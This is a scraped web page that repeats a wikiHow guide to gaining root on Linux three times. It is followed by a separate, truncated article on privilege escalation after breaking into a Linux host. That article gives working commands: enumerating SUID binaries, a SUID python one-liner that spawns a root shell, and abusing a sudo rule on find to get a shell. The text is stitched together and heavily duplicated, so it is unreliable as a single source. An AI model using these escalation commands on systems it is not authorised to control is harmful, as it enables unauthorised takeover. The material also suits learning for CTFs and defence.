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Download	Article	Switch	to	root	or	unlock	the	root	account	with	this	complete	guide	Download	Article	The	"root"	user	account	on	Linux	has	full	administrative	privileges	over	the	entire	system.	If	you	want	to	edit	system	configuration	files,	install	system-wide	software,	add	users,	or	virtually	anything	else	outside	of	your	home	directory,	you'll	need
root	access.	For	most	tasks,	you	won't	need	to	log	or	switch	to	the	root	user	accountyou	can	run	administrative	tasks	with	the	sudo	command	to	prevent	you	from	doing	damage	while	logged	in	with	full	superuser	permissions.	If	you're	using	Ubuntu,	the	root	account	is	locked	by	default	to	prevent	this	from	happening.	If	you	need	to	keep	root	access
while	doing	a	large	number	of	system	tasks,	it's	still	possible	to	become	root.	Read	on	to	learn	all	the	ways	to	gain	root	access	in	Linux.	Many	Linux	distros	disable	the	root	user	by	default	for	security	reasons.	You	can	still	run	commands	as	root	by	prefacing	them	with	"sudo".	You	can	also	start	a	root	shell	using	"sudo	-i."	To	log	in	as	root	or	switch	to
the	root	user	in	a	terminal,	set	a	password	for	the	root	user,	then	use	"su	-"	to	become	root.1Open	the	terminal.	Ubuntu	and	several	other	distributions	lock	the	root	account	automatically	to	prevent	you	from	using	commands	that	can	damage	your	system.	You	can	unlock	the	root	account	in	the	terminal.	If	you're	in	the	desktop	environment,	you	can
press	Ctrl	+	Alt	+	T	to	start	the	terminal.[1]The	root	account	is	locked	in	many	Linux	distributions	to	discourage	you	from	logging	in	as	the	root	user.	In	most	cases,	you	should	never	need	to	log	in	as	root	because	you	can	run	elevated	commands	using	{{kbd|sudo]}.	To	learn	how	to	use	it,	jump	to	Using	Sudo.	2Type	sudo	passwd	root	and	press	Enter.
When	prompted	for	a	password,	enter	your	user	password.[2]	Advertisement	3Set	a	root	user	password.	You'll	be	prompted	to	create	a	password	for	the	root	account	and	enter	it	twice.	Once	a	password	has	been	set,	the	root	account	will	be	active.[3]	4Lock	the	root	account	again	(optional).	If	you	want	to	lock	the	root	account,	enter	the	following
command	to	remove	the	password	and	lock	root:	Advertisement	1Preface	a	command	with	sudo	to	run	it	as	root.	Sudo,	which	stands	for	"superuser	do,"	is	the	best	way	to	run	commands	as	root	in	Linux.	When	you	use	sudo,	you	have	root	access	for	long	enough	to	run	the	command,	which,	in	most	cases,	is	all	you'll	ever	need.	Instead	of	entering	the
root	password,	you'll	enter	your	own	password.	For	example,	type	sudo	vim	/etc/apache2/apache2.conf	to	open	the	file	apache2.conf	as	the	root	user,	which	allows	you	to	make	changes	to	the	file	even	if	your	user	account	doesn't	have	write	access	to	the	file.sudo	is	the	preferred	method	for	distributions	like	Ubuntu,	where	it	will	work	even	when	the
root	account	is	locked.You	can	only	use	sudo	if	your	user	account	is	in	the	/etc/sudoers	configuration	file.[4]2Use	sudo	-i	to	start	a	root	shell.	If	you	want	to	run	many	commands	as	root	without	having	to	type	your	password	multiple	times,	you	can	use	this	command	to	access	a	root	shell	that	doesn't	require	enabling	the	root	user,	even	in	Ubuntu.
[5]3Use	sudo	-s	to	start	a	root	shell	using	your	environment.	If	you	want	to	run	a	series	of	root	commands	without	typing	sudo	before	each,	you	can	use	this	command	to	open	an	interactive	root	shell.	The	difference	between	the	-s	and	-i	options	is	that	-s	loads	your	own	.bashrc	file	and	keeps	your	current	directory,	whereas	sudo	-i	simulates	an	actual
root	login.	Advertisement	1Type	su	-	and	press	Enter.	This	will	attempt	to	log	you	in	as	root.	You	can	actually	use	the	su	command	to	log	in	as	any	user	on	the	machine,	but	when	you	don't	specify	a	username,	it	will	attempt	to	log	in	as	root.2Type	the	root	password	and	press	Enter.	You	now	have	a	root	shell.If	you	get	an	"authentication	error"
message,	your	root	account	is	likely	locked.	You	will	need	to	unlock	the	root	account.3Run	commands	as	root.	When	you	are	logged	in	as	root,	the	prompt	will	end	with	#	instead	of	$	if	you're	using	bash,	korn,	or	bourne	shell,	or	%	if	you're	using	csh,	tcsh,	or	zsh.Once	you	are	logged	in	as	root,	you	can	enter	commands	without	having	to	re-enter	the
root	password.	Advertisement	1In	a	terminal,	type	sudo	nano	/etc/gdm3/custom.conf	and	press	Enter.	If	you	want	to	log	in	to	your	Ubuntu	Linux	system	as	root	instead	of	as	your	user	account	on	the	initial	login	screen,	use	this	method	to	enable	root	logins.	When	you	type	this	command,	this	will	open	the	"custom.conf"	file	for	editing.[6]When
prompted,	enter	your	user	password	to	continue.2Add	AllowRoot=True	to	the	file.	Go	to	the	bottom	of	the	file.	Add	"AllowRoot=True"	below	"TimedLoginDelay	=	10."[7]	Add	a	few	spaces	so	that	the	"A"	in	"AllowRoot"	goes	right	below	the	"T"	in	"TimedLoginDelay".3Press	Ctrl+X.	This	displays	a	prompt	that	asks	if	you	want	to	save	the	file.4Press	Y
followed	by	Enter.	This	saves	the	"Custom.conf"	file.	You	should	return	to	the	normal	Terminal	prompt.5Type	sudo	nano	/etc/pam.d/gdm-password	and	press	Enter.	This	is	the	command	to	edit	the	password	authentication	manager	file.[8]Enter	your	user	password	when	prompted.6Comment	out	the	line	"auth	required	pam_succeed_If."	To	do	this,	type
a	hash	symbol	(#)	before	the	line:	#	auth	required	pam_succeed_If.	7Press	Ctrl+X	and	then	keypress+Y	to	confirm.	This	saves	the	"custom.conf"	file.	You	should	return	to	the	normal	Terminal	prompt.[9]	8Log	in	as	root	on	the	login	screen.	When	signing	in	to	Ubuntu	at	the	login	screen,	select	Not	Listed	from	the	menu	and	type	root	as	the	username.
You'll	then	use	the	root	password	you	set	earlier	to	log	in	as	root.	If	you	want	to	remove	the	ability	to	log	in	to	Ubuntu	as	root,	delete	the	line	you	added	to	/etc/gdm3/custom.conf	and	uncomment	the	line	you	commented	in	etc/pam.d/gdm-password.	Advertisement	1Reset	the	root	password	if	it	has	been	forgotten.	If	you've	forgotten	the	root	password
and	your	user	password,	you'll	need	to	boot	into	recovery	mode	in	order	to	change	them.	If	you	know	your	user	password	and	need	to	change	the	root	password,	just	type	sudo	passwd	root,	enter	your	user	password,	then	create	a	new	root	password.2Reboot	your	computer	and	hold	left-	Shift	after	the	BIOS	screen.	This	will	open	the	GRUB	menu.The
timing	on	this	can	be	tricky,	so	you	may	have	to	try	multiple	times.3Select	the	first	(recovery	mode)	entry	on	the	list.	This	will	load	recovery	mode	for	your	current	distribution.4Select	the	root	option	from	the	menu	that	appears.	This	will	start	the	terminal	with	you	logged	in	as	the	root	account.5Remount	the	drive	with	write	permissions.	When	you
boot	into	recovery	mode,	you	will	typically	only	have	read	permissions.	Enter	the	following	command	to	enable	write	access:[10]	6Create	a	new	password	for	any	accounts	you're	locked	out	of.	Once	you're	logged	in	as	root	and	have	changed	the	access	permissions,	you	can	create	a	new	password	for	any	account:[11]Type	passwd	accountName	and
press	Enter.	If	you	need	to	change	the	root	password,	type	passwd	root.Enter	the	new	password	twice	when	prompted.7Reboot	your	computer	after	resetting	passwords.	Once	you're	finished	resetting	passwords,	you	can	reboot	and	use	your	computer	as	normal.	Your	new	passwords	will	take	effect	immediately.[12]	Advertisement	Add	New	Question
Question	How	can	I	make	a	user	a	superuser?	Type	in	"sudo	usermod	-aG	sudo	"	replacing	the	username	of	the	user	you	want	to	grant	superuser	access.	Question	How	do	we	log	in	as	a	root	in	Method	3?	I	have	my	admin	account	and	my	guest	account.	Do	I	have	to	log	as	a	root	in	terminal	first?	Yes.	The	root	account	must	be	unlocked	first	if	you're
using	Ubuntu.	Follow	the	instructions	in	method	two.	If	you're	not	using	Ubuntu,	check	your	distribution's	documentation.	Question	What	is	the	tilde	used	for?	It	designates	a	home	folder	(typically	aliased	to	the	current	user's	home	folder).	See	more	answers	Ask	a	Question	Advertisement	The	advice	in	this	section	is	based	on	the	lived	experiences	of
wikiHow	readers	like	you.	If	you	have	a	helpful	tip	youd	like	to	share	on	wikiHow,	please	submit	it	in	the	field	below.	Make	sure	to	lock	the	root	account	every	time	you've	committed	the	changes	you	need.	Thanks	Thanks	Thanks	Advertisement	Written	by:	wikiHow	Technology	Writer	This	article	was	co-authored	by	wikiHow	staff	writer,	Nicole	Levine,
MFA.	Nicole	Levine	is	a	Technology	Writer	and	Editor	for	wikiHow.	She	has	more	than	20	years	of	experience	creating	technical	documentation	and	leading	support	teams	at	major	web	hosting	and	software	companies.	Nicole	also	holds	an	MFA	in	Creative	Writing	from	Portland	State	University	and	teaches	composition,	fiction-writing,	and	zine-
making	at	various	institutions.	This	article	has	been	viewed	1,605,405	times.	Co-authors:	17	Updated:	July	12,	2025	Views:1,605,405	Categories:	Linux	PrintSend	fan	mail	to	authors	Thanks	to	all	authors	for	creating	a	page	that	has	been	read	1,605,405	times.	Download	Article	Switch	to	root	or	unlock	the	root	account	with	this	complete	guide
Download	Article	The	"root"	user	account	on	Linux	has	full	administrative	privileges	over	the	entire	system.	If	you	want	to	edit	system	configuration	files,	install	system-wide	software,	add	users,	or	virtually	anything	else	outside	of	your	home	directory,	you'll	need	root	access.	For	most	tasks,	you	won't	need	to	log	or	switch	to	the	root	user	accountyou
can	run	administrative	tasks	with	the	sudo	command	to	prevent	you	from	doing	damage	while	logged	in	with	full	superuser	permissions.	If	you're	using	Ubuntu,	the	root	account	is	locked	by	default	to	prevent	this	from	happening.	If	you	need	to	keep	root	access	while	doing	a	large	number	of	system	tasks,	it's	still	possible	to	become	root.	Read	on	to
learn	all	the	ways	to	gain	root	access	in	Linux.	Many	Linux	distros	disable	the	root	user	by	default	for	security	reasons.	You	can	still	run	commands	as	root	by	prefacing	them	with	"sudo".	You	can	also	start	a	root	shell	using	"sudo	-i."	To	log	in	as	root	or	switch	to	the	root	user	in	a	terminal,	set	a	password	for	the	root	user,	then	use	"su	-"	to	become
root.1Open	the	terminal.	Ubuntu	and	several	other	distributions	lock	the	root	account	automatically	to	prevent	you	from	using	commands	that	can	damage	your	system.	You	can	unlock	the	root	account	in	the	terminal.	If	you're	in	the	desktop	environment,	you	can	press	Ctrl	+	Alt	+	T	to	start	the	terminal.[1]The	root	account	is	locked	in	many	Linux
distributions	to	discourage	you	from	logging	in	as	the	root	user.	In	most	cases,	you	should	never	need	to	log	in	as	root	because	you	can	run	elevated	commands	using	{{kbd|sudo]}.	To	learn	how	to	use	it,	jump	to	Using	Sudo.	2Type	sudo	passwd	root	and	press	Enter.	When	prompted	for	a	password,	enter	your	user	password.[2]	Advertisement	3Set	a
root	user	password.	You'll	be	prompted	to	create	a	password	for	the	root	account	and	enter	it	twice.	Once	a	password	has	been	set,	the	root	account	will	be	active.[3]	4Lock	the	root	account	again	(optional).	If	you	want	to	lock	the	root	account,	enter	the	following	command	to	remove	the	password	and	lock	root:	Advertisement	1Preface	a	command
with	sudo	to	run	it	as	root.	Sudo,	which	stands	for	"superuser	do,"	is	the	best	way	to	run	commands	as	root	in	Linux.	When	you	use	sudo,	you	have	root	access	for	long	enough	to	run	the	command,	which,	in	most	cases,	is	all	you'll	ever	need.	Instead	of	entering	the	root	password,	you'll	enter	your	own	password.	For	example,	type	sudo	vim
/etc/apache2/apache2.conf	to	open	the	file	apache2.conf	as	the	root	user,	which	allows	you	to	make	changes	to	the	file	even	if	your	user	account	doesn't	have	write	access	to	the	file.sudo	is	the	preferred	method	for	distributions	like	Ubuntu,	where	it	will	work	even	when	the	root	account	is	locked.You	can	only	use	sudo	if	your	user	account	is	in	the
/etc/sudoers	configuration	file.[4]2Use	sudo	-i	to	start	a	root	shell.	If	you	want	to	run	many	commands	as	root	without	having	to	type	your	password	multiple	times,	you	can	use	this	command	to	access	a	root	shell	that	doesn't	require	enabling	the	root	user,	even	in	Ubuntu.[5]3Use	sudo	-s	to	start	a	root	shell	using	your	environment.	If	you	want	to	run
a	series	of	root	commands	without	typing	sudo	before	each,	you	can	use	this	command	to	open	an	interactive	root	shell.	The	difference	between	the	-s	and	-i	options	is	that	-s	loads	your	own	.bashrc	file	and	keeps	your	current	directory,	whereas	sudo	-i	simulates	an	actual	root	login.	Advertisement	1Type	su	-	and	press	Enter.	This	will	attempt	to	log
you	in	as	root.	You	can	actually	use	the	su	command	to	log	in	as	any	user	on	the	machine,	but	when	you	don't	specify	a	username,	it	will	attempt	to	log	in	as	root.2Type	the	root	password	and	press	Enter.	You	now	have	a	root	shell.If	you	get	an	"authentication	error"	message,	your	root	account	is	likely	locked.	You	will	need	to	unlock	the	root
account.3Run	commands	as	root.	When	you	are	logged	in	as	root,	the	prompt	will	end	with	#	instead	of	$	if	you're	using	bash,	korn,	or	bourne	shell,	or	%	if	you're	using	csh,	tcsh,	or	zsh.Once	you	are	logged	in	as	root,	you	can	enter	commands	without	having	to	re-enter	the	root	password.	Advertisement	1In	a	terminal,	type	sudo	nano
/etc/gdm3/custom.conf	and	press	Enter.	If	you	want	to	log	in	to	your	Ubuntu	Linux	system	as	root	instead	of	as	your	user	account	on	the	initial	login	screen,	use	this	method	to	enable	root	logins.	When	you	type	this	command,	this	will	open	the	"custom.conf"	file	for	editing.[6]When	prompted,	enter	your	user	password	to	continue.2Add
AllowRoot=True	to	the	file.	Go	to	the	bottom	of	the	file.	Add	"AllowRoot=True"	below	"TimedLoginDelay	=	10."[7]	Add	a	few	spaces	so	that	the	"A"	in	"AllowRoot"	goes	right	below	the	"T"	in	"TimedLoginDelay".3Press	Ctrl+X.	This	displays	a	prompt	that	asks	if	you	want	to	save	the	file.4Press	Y	followed	by	Enter.	This	saves	the	"Custom.conf"	file.	You
should	return	to	the	normal	Terminal	prompt.5Type	sudo	nano	/etc/pam.d/gdm-password	and	press	Enter.	This	is	the	command	to	edit	the	password	authentication	manager	file.[8]Enter	your	user	password	when	prompted.6Comment	out	the	line	"auth	required	pam_succeed_If."	To	do	this,	type	a	hash	symbol	(#)	before	the	line:	#	auth	required
pam_succeed_If.	7Press	Ctrl+X	and	then	keypress+Y	to	confirm.	This	saves	the	"custom.conf"	file.	You	should	return	to	the	normal	Terminal	prompt.[9]	8Log	in	as	root	on	the	login	screen.	When	signing	in	to	Ubuntu	at	the	login	screen,	select	Not	Listed	from	the	menu	and	type	root	as	the	username.	You'll	then	use	the	root	password	you	set	earlier	to
log	in	as	root.	If	you	want	to	remove	the	ability	to	log	in	to	Ubuntu	as	root,	delete	the	line	you	added	to	/etc/gdm3/custom.conf	and	uncomment	the	line	you	commented	in	etc/pam.d/gdm-password.	Advertisement	1Reset	the	root	password	if	it	has	been	forgotten.	If	you've	forgotten	the	root	password	and	your	user	password,	you'll	need	to	boot	into
recovery	mode	in	order	to	change	them.	If	you	know	your	user	password	and	need	to	change	the	root	password,	just	type	sudo	passwd	root,	enter	your	user	password,	then	create	a	new	root	password.2Reboot	your	computer	and	hold	left-	Shift	after	the	BIOS	screen.	This	will	open	the	GRUB	menu.The	timing	on	this	can	be	tricky,	so	you	may	have	to
try	multiple	times.3Select	the	first	(recovery	mode)	entry	on	the	list.	This	will	load	recovery	mode	for	your	current	distribution.4Select	the	root	option	from	the	menu	that	appears.	This	will	start	the	terminal	with	you	logged	in	as	the	root	account.5Remount	the	drive	with	write	permissions.	When	you	boot	into	recovery	mode,	you	will	typically	only
have	read	permissions.	Enter	the	following	command	to	enable	write	access:[10]	6Create	a	new	password	for	any	accounts	you're	locked	out	of.	Once	you're	logged	in	as	root	and	have	changed	the	access	permissions,	you	can	create	a	new	password	for	any	account:[11]Type	passwd	accountName	and	press	Enter.	If	you	need	to	change	the	root
password,	type	passwd	root.Enter	the	new	password	twice	when	prompted.7Reboot	your	computer	after	resetting	passwords.	Once	you're	finished	resetting	passwords,	you	can	reboot	and	use	your	computer	as	normal.	Your	new	passwords	will	take	effect	immediately.[12]	Advertisement	Add	New	Question	Question	How	can	I	make	a	user	a
superuser?	Type	in	"sudo	usermod	-aG	sudo	"	replacing	the	username	of	the	user	you	want	to	grant	superuser	access.	Question	How	do	we	log	in	as	a	root	in	Method	3?	I	have	my	admin	account	and	my	guest	account.	Do	I	have	to	log	as	a	root	in	terminal	first?	Yes.	The	root	account	must	be	unlocked	first	if	you're	using	Ubuntu.	Follow	the	instructions
in	method	two.	If	you're	not	using	Ubuntu,	check	your	distribution's	documentation.	Question	What	is	the	tilde	used	for?	It	designates	a	home	folder	(typically	aliased	to	the	current	user's	home	folder).	See	more	answers	Ask	a	Question	Advertisement	The	advice	in	this	section	is	based	on	the	lived	experiences	of	wikiHow	readers	like	you.	If	you	have
a	helpful	tip	youd	like	to	share	on	wikiHow,	please	submit	it	in	the	field	below.	Make	sure	to	lock	the	root	account	every	time	you've	committed	the	changes	you	need.	Thanks	Thanks	Thanks	Advertisement	Written	by:	wikiHow	Technology	Writer	This	article	was	co-authored	by	wikiHow	staff	writer,	Nicole	Levine,	MFA.	Nicole	Levine	is	a	Technology
Writer	and	Editor	for	wikiHow.	She	has	more	than	20	years	of	experience	creating	technical	documentation	and	leading	support	teams	at	major	web	hosting	and	software	companies.	Nicole	also	holds	an	MFA	in	Creative	Writing	from	Portland	State	University	and	teaches	composition,	fiction-writing,	and	zine-making	at	various	institutions.	This	article
has	been	viewed	1,605,405	times.	Co-authors:	17	Updated:	July	12,	2025	Views:1,605,405	Categories:	Linux	PrintSend	fan	mail	to	authors	Thanks	to	all	authors	for	creating	a	page	that	has	been	read	1,605,405	times.	Download	Article	Switch	to	root	or	unlock	the	root	account	with	this	complete	guide	Download	Article	The	"root"	user	account	on
Linux	has	full	administrative	privileges	over	the	entire	system.	If	you	want	to	edit	system	configuration	files,	install	system-wide	software,	add	users,	or	virtually	anything	else	outside	of	your	home	directory,	you'll	need	root	access.	For	most	tasks,	you	won't	need	to	log	or	switch	to	the	root	user	accountyou	can	run	administrative	tasks	with	the	sudo
command	to	prevent	you	from	doing	damage	while	logged	in	with	full	superuser	permissions.	If	you're	using	Ubuntu,	the	root	account	is	locked	by	default	to	prevent	this	from	happening.	If	you	need	to	keep	root	access	while	doing	a	large	number	of	system	tasks,	it's	still	possible	to	become	root.	Read	on	to	learn	all	the	ways	to	gain	root	access	in
Linux.	Many	Linux	distros	disable	the	root	user	by	default	for	security	reasons.	You	can	still	run	commands	as	root	by	prefacing	them	with	"sudo".	You	can	also	start	a	root	shell	using	"sudo	-i."	To	log	in	as	root	or	switch	to	the	root	user	in	a	terminal,	set	a	password	for	the	root	user,	then	use	"su	-"	to	become	root.1Open	the	terminal.	Ubuntu	and
several	other	distributions	lock	the	root	account	automatically	to	prevent	you	from	using	commands	that	can	damage	your	system.	You	can	unlock	the	root	account	in	the	terminal.	If	you're	in	the	desktop	environment,	you	can	press	Ctrl	+	Alt	+	T	to	start	the	terminal.[1]The	root	account	is	locked	in	many	Linux	distributions	to	discourage	you	from
logging	in	as	the	root	user.	In	most	cases,	you	should	never	need	to	log	in	as	root	because	you	can	run	elevated	commands	using	{{kbd|sudo]}.	To	learn	how	to	use	it,	jump	to	Using	Sudo.	2Type	sudo	passwd	root	and	press	Enter.	When	prompted	for	a	password,	enter	your	user	password.[2]	Advertisement	3Set	a	root	user	password.	You'll	be
prompted	to	create	a	password	for	the	root	account	and	enter	it	twice.	Once	a	password	has	been	set,	the	root	account	will	be	active.[3]	4Lock	the	root	account	again	(optional).	If	you	want	to	lock	the	root	account,	enter	the	following	command	to	remove	the	password	and	lock	root:	Advertisement	1Preface	a	command	with	sudo	to	run	it	as	root.
Sudo,	which	stands	for	"superuser	do,"	is	the	best	way	to	run	commands	as	root	in	Linux.	When	you	use	sudo,	you	have	root	access	for	long	enough	to	run	the	command,	which,	in	most	cases,	is	all	you'll	ever	need.	Instead	of	entering	the	root	password,	you'll	enter	your	own	password.	For	example,	type	sudo	vim	/etc/apache2/apache2.conf	to	open	the
file	apache2.conf	as	the	root	user,	which	allows	you	to	make	changes	to	the	file	even	if	your	user	account	doesn't	have	write	access	to	the	file.sudo	is	the	preferred	method	for	distributions	like	Ubuntu,	where	it	will	work	even	when	the	root	account	is	locked.You	can	only	use	sudo	if	your	user	account	is	in	the	/etc/sudoers	configuration	file.[4]2Use
sudo	-i	to	start	a	root	shell.	If	you	want	to	run	many	commands	as	root	without	having	to	type	your	password	multiple	times,	you	can	use	this	command	to	access	a	root	shell	that	doesn't	require	enabling	the	root	user,	even	in	Ubuntu.[5]3Use	sudo	-s	to	start	a	root	shell	using	your	environment.	If	you	want	to	run	a	series	of	root	commands	without
typing	sudo	before	each,	you	can	use	this	command	to	open	an	interactive	root	shell.	The	difference	between	the	-s	and	-i	options	is	that	-s	loads	your	own	.bashrc	file	and	keeps	your	current	directory,	whereas	sudo	-i	simulates	an	actual	root	login.	Advertisement	1Type	su	-	and	press	Enter.	This	will	attempt	to	log	you	in	as	root.	You	can	actually	use
the	su	command	to	log	in	as	any	user	on	the	machine,	but	when	you	don't	specify	a	username,	it	will	attempt	to	log	in	as	root.2Type	the	root	password	and	press	Enter.	You	now	have	a	root	shell.If	you	get	an	"authentication	error"	message,	your	root	account	is	likely	locked.	You	will	need	to	unlock	the	root	account.3Run	commands	as	root.	When	you
are	logged	in	as	root,	the	prompt	will	end	with	#	instead	of	$	if	you're	using	bash,	korn,	or	bourne	shell,	or	%	if	you're	using	csh,	tcsh,	or	zsh.Once	you	are	logged	in	as	root,	you	can	enter	commands	without	having	to	re-enter	the	root	password.	Advertisement	1In	a	terminal,	type	sudo	nano	/etc/gdm3/custom.conf	and	press	Enter.	If	you	want	to	log	in
to	your	Ubuntu	Linux	system	as	root	instead	of	as	your	user	account	on	the	initial	login	screen,	use	this	method	to	enable	root	logins.	When	you	type	this	command,	this	will	open	the	"custom.conf"	file	for	editing.[6]When	prompted,	enter	your	user	password	to	continue.2Add	AllowRoot=True	to	the	file.	Go	to	the	bottom	of	the	file.	Add
"AllowRoot=True"	below	"TimedLoginDelay	=	10."[7]	Add	a	few	spaces	so	that	the	"A"	in	"AllowRoot"	goes	right	below	the	"T"	in	"TimedLoginDelay".3Press	Ctrl+X.	This	displays	a	prompt	that	asks	if	you	want	to	save	the	file.4Press	Y	followed	by	Enter.	This	saves	the	"Custom.conf"	file.	You	should	return	to	the	normal	Terminal	prompt.5Type	sudo
nano	/etc/pam.d/gdm-password	and	press	Enter.	This	is	the	command	to	edit	the	password	authentication	manager	file.[8]Enter	your	user	password	when	prompted.6Comment	out	the	line	"auth	required	pam_succeed_If."	To	do	this,	type	a	hash	symbol	(#)	before	the	line:	#	auth	required	pam_succeed_If.	7Press	Ctrl+X	and	then	keypress+Y	to
confirm.	This	saves	the	"custom.conf"	file.	You	should	return	to	the	normal	Terminal	prompt.[9]	8Log	in	as	root	on	the	login	screen.	When	signing	in	to	Ubuntu	at	the	login	screen,	select	Not	Listed	from	the	menu	and	type	root	as	the	username.	You'll	then	use	the	root	password	you	set	earlier	to	log	in	as	root.	If	you	want	to	remove	the	ability	to	log	in
to	Ubuntu	as	root,	delete	the	line	you	added	to	/etc/gdm3/custom.conf	and	uncomment	the	line	you	commented	in	etc/pam.d/gdm-password.	Advertisement	1Reset	the	root	password	if	it	has	been	forgotten.	If	you've	forgotten	the	root	password	and	your	user	password,	you'll	need	to	boot	into	recovery	mode	in	order	to	change	them.	If	you	know	your
user	password	and	need	to	change	the	root	password,	just	type	sudo	passwd	root,	enter	your	user	password,	then	create	a	new	root	password.2Reboot	your	computer	and	hold	left-	Shift	after	the	BIOS	screen.	This	will	open	the	GRUB	menu.The	timing	on	this	can	be	tricky,	so	you	may	have	to	try	multiple	times.3Select	the	first	(recovery	mode)	entry
on	the	list.	This	will	load	recovery	mode	for	your	current	distribution.4Select	the	root	option	from	the	menu	that	appears.	This	will	start	the	terminal	with	you	logged	in	as	the	root	account.5Remount	the	drive	with	write	permissions.	When	you	boot	into	recovery	mode,	you	will	typically	only	have	read	permissions.	Enter	the	following	command	to
enable	write	access:[10]	6Create	a	new	password	for	any	accounts	you're	locked	out	of.	Once	you're	logged	in	as	root	and	have	changed	the	access	permissions,	you	can	create	a	new	password	for	any	account:[11]Type	passwd	accountName	and	press	Enter.	If	you	need	to	change	the	root	password,	type	passwd	root.Enter	the	new	password	twice
when	prompted.7Reboot	your	computer	after	resetting	passwords.	Once	you're	finished	resetting	passwords,	you	can	reboot	and	use	your	computer	as	normal.	Your	new	passwords	will	take	effect	immediately.[12]	Advertisement	Add	New	Question	Question	How	can	I	make	a	user	a	superuser?	Type	in	"sudo	usermod	-aG	sudo	"	replacing	the
username	of	the	user	you	want	to	grant	superuser	access.	Question	How	do	we	log	in	as	a	root	in	Method	3?	I	have	my	admin	account	and	my	guest	account.	Do	I	have	to	log	as	a	root	in	terminal	first?	Yes.	The	root	account	must	be	unlocked	first	if	you're	using	Ubuntu.	Follow	the	instructions	in	method	two.	If	you're	not	using	Ubuntu,	check	your
distribution's	documentation.	Question	What	is	the	tilde	used	for?	It	designates	a	home	folder	(typically	aliased	to	the	current	user's	home	folder).	See	more	answers	Ask	a	Question	Advertisement	The	advice	in	this	section	is	based	on	the	lived	experiences	of	wikiHow	readers	like	you.	If	you	have	a	helpful	tip	youd	like	to	share	on	wikiHow,	please
submit	it	in	the	field	below.	Make	sure	to	lock	the	root	account	every	time	you've	committed	the	changes	you	need.	Thanks	Thanks	Thanks	Advertisement	Written	by:	wikiHow	Technology	Writer	This	article	was	co-authored	by	wikiHow	staff	writer,	Nicole	Levine,	MFA.	Nicole	Levine	is	a	Technology	Writer	and	Editor	for	wikiHow.	She	has	more	than
20	years	of	experience	creating	technical	documentation	and	leading	support	teams	at	major	web	hosting	and	software	companies.	Nicole	also	holds	an	MFA	in	Creative	Writing	from	Portland	State	University	and	teaches	composition,	fiction-writing,	and	zine-making	at	various	institutions.	This	article	has	been	viewed	1,605,405	times.	Co-authors:	17
Updated:	July	12,	2025	Views:1,605,405	Categories:	Linux	PrintSend	fan	mail	to	authors	Thanks	to	all	authors	for	creating	a	page	that	has	been	read	1,605,405	times.	Once	youve	gained	access	to	a	Linux	system,	the	next	logical	step	is	to	perform	privilege	escalation.	That	is,	to	go	from	a	user	account	with	limited	privileges	to	a	superuser	account
with	full	privileges.There	are	many	options	that	can	help	you	achieve	this,	ranging	from	simple	and	easy	to	perform	techniques	to	trickier	ones	that	are	more	advanced	and	not	so	straightforward	to	execute.	We	will	explore	in	this	article	the	three	easiest	options	that	you	can	use.The	techniques	listed	here	are	low	hanging	fruits	that	you	can	check
first.	Only	after	all	these	options	fail	can	you	attempt	more	advanced	techniques.Depending	on	the	security	configuration	of	the	target	host,	some	of	these	techniques	will	probably	not	work.	But	sometimes,	one	mistake	from	an	administrator	is	all	it	takes	to	get	you	to	root.A	SUID	is	a	special	permission	that	certain	executable	files	may	have.	When	a
file	has	the	SUID	bit	set,	users	can	execute	it	with	the	same	permissions	as	its	owner.SUID	binaries	are	identified	by	the	s	character	on	the	fourth	bit	of	the	file	permissions.	As	you	can	see	below,	the	passwd	file	is	an	SUID	binary.You	can	see	how	we	can	exploit	this	by	attempting	to	spawn	a	shell	through	SUID	binaries	that	are	owned	by	root	or	by	a
user	with	higher	privileges.Exploiting	SUID	BinariesOne	example	of	vulnerable	SUID	binaries	is	the	python	command.	If	you	find	the	SUID	bit	set	on	the	binary	associated	with	this	command,	then	you	can	easily	perform	privilege	escalation	by	running	the	following:$	./python	-c	'import	os;os.system("/bin/sh	-p")'Of	course,	you	should	first	change	your
current	directory	to	where	the	python	binary	is	located.If	successful,	you	will	get	an	elevated	privilege	shell.	You	can	verify	this	by	executing	the	whoami	command.The	python	command	is	provided	here	only	as	an	example	to	help	you	better	grasp	this	technique.	So,	you	should	not	expect	it	to	be	configured	as	a	SUID	binary	on	your	target	host,	and
thus,	the	above	command	will	probably	not	work.However,	what	you	can	do	and	should	do	first	is	to	search	for	all	SUID	binaries	on	the	system.	To	do	this,	you	can	run	the	following	find	command:find	/	-type	f	-perm	-u=s	2>/dev/nullOnce	you	have	a	list	of	all	the	SUID	binaries,	you	can	visit	GTFOBins	to	check	for	those	that	are	vulnerable	to	privilege
escalation.	This	website	will	also	provide	you	with	the	exact	command	to	run	for	every	vulnerable	SUID	binary.GTFOBins	is	a	very	good	resource	for	Linux	Privilege	Escalation.	You	should	probably	save	it	in	your	bookmarks	since	you	will	definitely	need	it	in	the	future	whenever	you	attempt	privilege	escalation	on	a	Linux	system.To	run	a	command	as
root,	you	would	normally	type	sudo	first	before	the	actual	command.However,	not	every	user	has	the	rights	to	run	SUDO.	The	specific	permissions	of	users	with	regard	to	this	command	are	stored	in	/etc/sudoers.	This	file	lists	which	commands	users	can	run	using	SUDO.	It	also	specifies	whether	or	not	they	need	a	password	to	do	so.Exploiting
SUDOYou	can	check	your	current	users	permissions	using	the	following	command:$	sudo	-luser	ALL=(ALL)	NOPASSWD:ALLIf	the	output	of	this	command	looks	something	like	the	above,	then	you	are	very	lucky,	because	that	line	grants	you	the	rights	to	run	any	command	using	SUDO	without	having	to	provide	a	password.But	lets	be	honest	here,	this
would	be	too	easy	for	it	to	occur	in	the	real	world,	except	maybe	for	some	easy-for-beginner	CTFs.On	the	other	hand,	what	you	might	find	more	often	is	something	like	the	following:(root)	NOPASSWD:	/usr/bin/findIn	this	case,	you	can	only	run	SUDO	with	the	find	command,	and	you	still	dont	need	a	password	for	that.You	might	think	that	find	will	not
be	of	much	help	in	your	privilege-seeking	process.	Well,	in	this	case,	you	would	be	wrong.	Actually,	find	is	more	than	enough.If	we	refer	to	GTFOBins,	we	can	get	the	complete	command	to	use	in	order	to	spawn	a	shell	using	find:sudo	find	.	-exec	/bin/sh	\;	-quitIm	providing	find	here	as	an	example.	This	is	valid	for	many	other	commands.	You	can	check
GTFOBins	to	see	which	ones	are	vulnerable	to	this	technique	and	how	you	can	use	each	one	to	get	a	root	shell.Cron	is	a	job	scheduler	that	runs	on	most	Linux	systems,	sort	of	the	equivalent	of	the	task	scheduler	in	Windows.	It	allows	users	to	schedule	certain	programs	and	scripts	to	run	periodically	without	having	to	execute	them	manually.Cron	is
